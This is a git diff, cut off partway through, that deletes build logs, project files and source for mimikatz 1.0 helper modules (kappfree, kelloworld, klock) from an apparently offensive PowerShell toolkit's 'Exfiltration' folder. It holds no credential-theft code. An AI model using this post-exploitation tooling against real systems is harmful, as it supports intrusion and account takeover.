05c99d0b..00000000 Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest deleted file mode 100644 index ecea6f7f..00000000 --- a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest +++ /dev/null @@ -1,10 +0,0 @@ - - - - - - - - - - diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate deleted file mode 100644 index 4d281933..00000000 --- a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate +++ /dev/null @@ -1,2 +0,0 @@ -#v4.0:v100 -Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res deleted file mode 100644 index 416efb25..00000000 Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog deleted file mode 100644 index 352791c9..00000000 --- a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog +++ /dev/null @@ -1,5 +0,0 @@ -^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\kappfree\kappfree.vcxproj -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.lib -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.lib -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.exp -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.exp diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog deleted file mode 100644 index 46b134b1..00000000 --- a/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog deleted file mode 100644 index 46b134b1..00000000 --- a/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog deleted file mode 100644 index cdc56897..00000000 Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog deleted file mode 100644 index b97e650a..00000000 Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog deleted file mode 100644 index f8b3fd94..00000000 Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog deleted file mode 100644 index be341033..00000000 Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog deleted file mode 100644 index 23f66011..00000000 Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog deleted file mode 100644 index 53b60f35..00000000 Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog deleted file mode 100644 index 92ee0840..00000000 Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog deleted file mode 100644 index 6f2e9b05..00000000 Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog deleted file mode 100644 index c18037c2..00000000 Binary files a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.c b/Exfiltration/mimikatz-1.0/kappfree/kappfree.c deleted file mode 100644 index 63130c92..00000000 --- a/Exfiltration/mimikatz-1.0/kappfree/kappfree.c +++ /dev/null @@ -1,34 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "kappfree.h" - -extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow) -{ - HANDLE monToken, monSuperToken; - wchar_t * commandLine; - PROCESS_INFORMATION mesInfosProcess; - STARTUPINFO mesInfosDemarrer; - - if(OpenProcessToken(GetCurrentProcess(), TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY /*| TOKEN_IMPERSONATE*/, &monToken)) - { - if(CreateRestrictedToken(monToken, SANDBOX_INERT, 0, NULL, 0, NULL, 0, NULL, &monSuperToken)) - { - RtlZeroMemory(&mesInfosProcess, sizeof(PROCESS_INFORMATION)); - RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO)); - mesInfosDemarrer.cb = sizeof(STARTUPINFO); - - commandLine = _wcsdup(lpszCmdLine); - if(CreateProcessAsUser(monSuperToken, NULL, commandLine, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &mesInfosDemarrer, &mesInfosProcess)) - { - CloseHandle(mesInfosProcess.hThread); - CloseHandle(mesInfosProcess.hProcess); - } - free(commandLine); - CloseHandle(monSuperToken); - } - CloseHandle(monToken); - } -} diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.h b/Exfiltration/mimikatz-1.0/kappfree/kappfree.h deleted file mode 100644 index 22ffbc26..00000000 --- a/Exfiltration/mimikatz-1.0/kappfree/kappfree.h +++ /dev/null @@ -1,9 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include - -extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow); diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc b/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc deleted file mode 100644 index f08bc560..00000000 Binary files a/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj deleted file mode 100644 index ef29473c..00000000 --- a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj +++ /dev/null @@ -1,119 +0,0 @@ - - - - - Release - Win32 - - - Release - x64 - - - - {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0} - Win32Proj - kappfree - - - - DynamicLibrary - false - true - Unicode - Static - - - DynamicLibrary - false - true - Unicode - Static - - - - - - - - - - - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - - - - Level3 - - - Full - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;KAPPFREE_EXPORTS;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules - Size - true - false - Fast - false - false - None - - - Windows - false - true - true - advapi32.lib;%(AdditionalDependencies) - NoErrorReport - - - - - Level3 - - - Full - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;KAPPFREE_EXPORTS;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules - Size - true - false - Fast - false - false - None - - - Windows - false - true - true - advapi32.lib;%(AdditionalDependencies) - NoErrorReport - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters deleted file mode 100644 index 987362e4..00000000 --- a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog deleted file mode 100644 index d6e37a7b..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog deleted file mode 100644 index 93f65cf4..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/cl.command.1.tlog deleted file mode 100644 index bd72d30f..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/cl.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest deleted file mode 100644 index ecea6f7f..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest +++ /dev/null @@ -1,10 +0,0 @@ - - - - - - - - - - diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate deleted file mode 100644 index 4d281933..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate +++ /dev/null @@ -1,2 +0,0 @@ -#v4.0:v100 -Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res deleted file mode 100644 index f3f1c55f..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog deleted file mode 100644 index 17139b51..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog +++ /dev/null @@ -1,5 +0,0 @@ -^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\librairies\kelloworld\kelloworld.vcxproj -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.lib -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.lib -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.exp -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.exp diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog deleted file mode 100644 index 46b134b1..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog deleted file mode 100644 index 46b134b1..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog deleted file mode 100644 index 41cc4a20..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog deleted file mode 100644 index da4e714e..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.write.1.tlog deleted file mode 100644 index 6d0be405..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.command.1.tlog deleted file mode 100644 index bbb2100a..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.read.1.tlog deleted file mode 100644 index b7cc2671..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.write.1.tlog deleted file mode 100644 index 1ff82f28..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog deleted file mode 100644 index fb31489d..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog deleted file mode 100644 index 811b6f94..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog deleted file mode 100644 index 30d54de6..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp deleted file mode 100644 index d49a1838..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp +++ /dev/null @@ -1,12 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "kelloworld.h" - -__kextdll bool __cdecl helloworld(mod_pipe * monPipe, vector * mesArguments) -{ - MessageBox(NULL, L"Hello World!", MIMIKATZ_FULL, MB_ICONINFORMATION | MB_OK); - return true; -} diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h deleted file mode 100644 index daa89733..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h +++ /dev/null @@ -1,9 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "kmodel.h" - -__kextdll bool __cdecl helloworld(mod_pipe * monPipe, vector * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc deleted file mode 100644 index 312b232e..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj deleted file mode 100644 index b0b3674b..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj +++ /dev/null @@ -1,121 +0,0 @@ - - - - - Release - Win32 - - - Release - x64 - - - - {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6} - Win32Proj - kelloworld - - - - DynamicLibrary - false - true - Unicode - Static - - - DynamicLibrary - false - true - Unicode - Static - - - - - - - - - - - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - - - - Level3 - NotUsing - Full - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;KELLOWORLD_EXPORTS;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) - Size - true - false - Fast - false - false - None - - - Windows - true - true - user32.lib - NoErrorReport - - - - - Level3 - NotUsing - Full - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;KELLOWORLD_EXPORTS;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) - Size - true - false - Fast - false - false - None - - - Windows - true - true - user32.lib - NoErrorReport - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters deleted file mode 100644 index 42713310..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters +++ /dev/null @@ -1,44 +0,0 @@ - - - - - - Modules Communs\Communication - - - Modules Communs\Parseur - - - Modules Communs\Librairie Modèle - - - - - - Modules Communs\Communication - - - Modules Communs\Parseur - - - Modules Communs\Librairie Modèle - - - - - {78bbda7e-d41f-4f1c-8aab-9b9471b30a56} - - - {314aff70-fe34-4afa-9341-0ad0a9a9a735} - - - {86a68fa7-1f11-48c7-9821-f5c8bf8b6724} - - - {7790e784-5bb7-405d-8bc7-0a3f5351245b} - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog deleted file mode 100644 index bcd26b3c..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog deleted file mode 100644 index 73eaec67..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog deleted file mode 100644 index 5cef6b96..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.dll.intermediate.manifest deleted file mode 100644 index ecea6f7f..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.dll.intermediate.manifest +++ /dev/null @@ -1,10 +0,0 @@ - - - - - - - - - - diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate deleted file mode 100644 index 4d281933..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate +++ /dev/null @@ -1,2 +0,0 @@ -#v4.0:v100 -Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res deleted file mode 100644 index 3104953f..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.write.1.tlog deleted file mode 100644 index 3cfbe7b4..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.write.1.tlog +++ /dev/null @@ -1,5 +0,0 @@ -^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\librairies\klock\klock.vcxproj -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\klock.lib -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\klock.lib -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\klock.exp -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\klock.exp diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.read.1.tlog deleted file mode 100644 index 46b134b1..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.read.1.tlog +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.write.1.tlog deleted file mode 100644 index 46b134b1..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link-cvtres.write.1.tlog +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.command.1.tlog deleted file mode 100644 index 966e3ca2..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.read.1.tlog deleted file mode 100644 index 118ff20c..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog deleted file mode 100644 index ed695bea..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.command.1.tlog deleted file mode 100644 index 96b5f5ae..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog deleted file mode 100644 index 6e3ab6c6..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.write.1.tlog deleted file mode 100644 index df7edcc2..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.command.1.tlog deleted file mode 100644 index 055dfdc8..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog deleted file mode 100644 index ee2aaa13..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog deleted file mode 100644 index a07a6d6e..00000000 Binary files a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp b/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp deleted file mode 100644 index 9717c49b..00000000 --- a/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp +++ /dev/null @@ -1,97 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "klock.h" - -__kextdll bool __cdecl getDescription(wstring * maDescription) -{ - maDescription->assign(L"kLock : librairie de manipulation des bureaux"); - return true; -} - -bool getNameOfDesktop(HDESK desktop, wstring &bureau) -{ - bool resultat = false; - - wchar_t * monBuffer; - DWORD tailleRequise = 0; - - if(!GetUserObjectInformation(desktop, UOI_NAME, NULL, 0, &tailleRequise) && (tailleRequise > 0)) - { - monBuffer = new wchar_t[tailleRequise]; - if(resultat = (GetUserObjectInformation(desktop, UOI_NAME, monBuffer, tailleRequise, &tailleRequise) != 0)) - { - bureau.assign(monBuffer); - } - delete[] monBuffer; - } - return resultat; -} - -__kextdll bool __cdecl echange(mod_pipe * monPipe, vector * mesArguments) -{ - wstringstream maReponse; - wstring source, cible, monBureau; - bool modeFullAuto = true; - - if(mesArguments->size() == 2) - { - modeFullAuto = false; - source = mesArguments->front(); - cible = mesArguments->back(); - } - - if (HDESK hOriginalDesktop = OpenInputDesktop(0, FALSE, GENERIC_READ | DESKTOP_SWITCHDESKTOP)) - { - if(getNameOfDesktop(hOriginalDesktop, monBureau)) - { - maReponse << L"Bureau courant : " << monBureau << endl; - - if((_wcsicmp(monBureau.c_str(), source.c_str()) == 0) || modeFullAuto) - { - if(modeFullAuto) - cible = _wcsicmp(monBureau.c_str(), L"Default") == 0 ? L"WinLogon" : L"Default"; - - maReponse << L"Bureau cible : " << cible << endl; - - if (HDESK hNewDesktop = OpenDesktop(cible.c_str(), 0, FALSE, DESKTOP_SWITCHDESKTOP)) - { - if (SwitchDesktop(hNewDesktop)) - maReponse << L"Switch du bureau russi !"; - else - maReponse << L"Erreur : impossible de basculer le bureau ; SwitchDesktop : " << mod_system::getWinError(); - maReponse << endl; - CloseDesktop(hNewDesktop); - } - else maReponse << "Erreur : impossible d\'ouvrir le bureau cible (" << cible << L") ; OpenDesktop : " << mod_system::getWinError(); - } - else if(!modeFullAuto) - maReponse << L"Erreur : le bureau courant (" << monBureau << L") ne correspond pas au bureau source indiqu (" << source << L")" << endl; - } - else maReponse << L"Erreur : impossible d\'obtenir le nom du bureau courant ; getNameOfDesktop : " << mod_system::getWinError() << endl; - - CloseDesktop(hOriginalDesktop); - } - else maReponse << L"Erreur : impossible d\'ouvrir le bureau courant ; OpenInputDesktop : " << mod_system::getWinError() << endl; - - return 